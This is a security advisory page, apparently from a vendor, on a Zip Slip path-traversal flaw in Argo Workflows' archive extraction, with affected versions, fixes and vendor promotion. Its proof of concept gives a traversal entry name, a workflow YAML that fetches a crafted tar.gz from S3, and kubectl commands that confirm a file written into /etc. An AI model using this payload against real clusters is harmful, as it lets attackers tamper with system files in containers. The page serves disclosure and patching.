GHSA-p84v-gxvw-73pf is a high-severity (CVSS 8.1) Path Traversal vulnerability in github.com/argoproj/argo-workflows/v3. A fix is available for github.com/argoproj/argo-workflows/v3 — see the affected versions and patch details below.
Argo Workflow has a Zipslip Vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-p84v-gxvw-73pf.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-p84v-gxvw-73pf plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/argoproj/argo-workflows/v3🐹github.com/argoproj/argo-workflows/v3Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Vulnerability Description
Vulnerability Overview
- During the artifact extraction process, the
unpack()function extracts the compressed file to a temporary directory (/etc.tmpdir) and then attempts to move its contents to/etcusing therename()system call, - However, since
/etcis an already existing system directory, therename()system call fails, making normal archive extraction impossible. - At this point, if a malicious user sets the entry name inside the
tar.gzfile to a path traversal like../../../../../etc/zipslip-poc, - The
untar()function combines paths usingfilepath.Join(dest, filepath.Clean(header.Name))without path validation, resulting intarget = "/work/input/../../../../../etc/zipslip-poc", - Ultimately, the
/etc/zipslip-pocfile is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.
untar(): Writing Files Outside the Extraction Directory
- Base Path:
/work/tmp(dest) — The intended extraction directory in the wait container - Malicious Entry:
../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt(header.Name) — Path traversal payload - Path Cleaning:
filepath.Clean("../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt— Go’s path cleaning normalizes the traversal - Path Joining:
filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt— Absolute path overrides base directory - File Creation:
/mainctrfs/etc/zipslip-ok.txtfile is created in the wait container - Volume Mirroring: The file appears as
/etc/zipslip-ok.txtin the main container due to volume mount mirroring
PoC
PoC Description
- The user uploaded a malicious
tar.gzfile to S3 that contains path traversal entries like../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txtdesigned to exploit the vulnerability. - In the Argo Workflows YAML, the artifact’s path is set to
/work/tmp, which should normally extract the archive to that intended directory. - However, due to the vulnerability in the
untar()function,filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt")resolves to/mainctrfs/etc/zipslip-ok.txt, causing files to be created in unintended locations. - Since the wait container’s
/mainctrfs/etcand the main container’s/etcshare the same volume, files created in the wait container become visible in the main container’s/etc/directory. - Consequently, the archive that should extract to
/work/tmpexploits the Zip Slip vulnerability to create files in the/etc/directory, enabling manipulation of system configuration files.
exploit yaml
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: zipslip-
spec:
entrypoint: main
templates:
- name: main
container:
image: ubuntu:22.04
command: ["sh"]
args: ["-c", "echo 'Starting container'; sleep 3000"]
volumeMounts:
- name: etcvol
mountPath: /etc
inputs:
artifacts:
- name: evil
path: /work/tmp
archive:
tar: {}
http:
url: "https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz"
volumes:
- name: etcvol
emptyDir: {}
exploit
-
Create Zipslip
<img width="1300" height="102" alt="image (4)" src="https://github.com/user-attachments/assets/74569df1-43f9-409d-b905-601bcb5998e2" /> -
Upload S3
<img width="1634" height="309" alt="image (5)" src="https://github.com/user-attachments/assets/2bf4a90a-0f03-411d-9a31-3c7de4b399b4" /> -
Create Workflow
<img width="1875" height="865" alt="image (1) (1)" src="https://github.com/user-attachments/assets/fd01a4a7-c400-47a2-a8f0-427b0feabc7f" /> -
Run
<img width="1799" height="862" alt="image (2)" src="https://github.com/user-attachments/assets/18a68919-1529-4ca0-9ed4-b71e271ae38f" /> -
Exploit Success
<img width="1363" height="440" alt="image (3)" src="https://github.com/user-attachments/assets/ac0e834d-4734-4771-9d24-d6fd1ce5d77f" /># Find Workflow and Pod NS=default WF=$(kubectl get wf -n "$NS" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}') POD=$(kubectl get pod -n "$NS" -l workflows.argoproj.io/workflow="$WF" --no-headers | awk 'END{print $1}') echo "NS=$NS WF=$WF POD=$POD" # Connect Main Container kubectl exec -it -n "$NS" "$POD" -c main -- bash # Exploit cd /etc/ ls -l cat zipslip-ok.txt
Impact
Container Isolation Bypass
The Zip Slip vulnerability allows attackers to write files to system directories like /etc/ within the container, potentially overwriting critical configuration files such as /etc/passwd, /etc/hosts, or /etc/crontab, which could lead to privilege escalation or persistent access within the compromised container.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/argoproj/argo-workflows/v3 | all versions | 3.6.12go get github.com/argoproj/argo-workflows/v3@v3.6.12 |
| 🐹Go | github.com/argoproj/argo-workflows/v3 | ≥ 3.7.0&&< 3.7.3 | 3.7.3go get github.com/argoproj/argo-workflows/v3@v3.7.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/argoproj/argo-workflows/v3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/argoproj/argo-workflows/v3 to 3.6.12 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-p84v-gxvw-73pf is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-p84v-gxvw-73pf can be triaged on real exposure rather than presence alone.
Tailored to GHSA-p84v-gxvw-73pf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat OpenShift AI 2.22 | rhoai/odh-data-science-pipelines-argo-argoexec-rhel9:v2.22.3-1764181290 | RHSA-2025:22759 |
Frequently Asked Questions
Is GHSA-p84v-gxvw-73pf in your dependencies?
O3 Security finds GHSA-p84v-gxvw-73pf across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.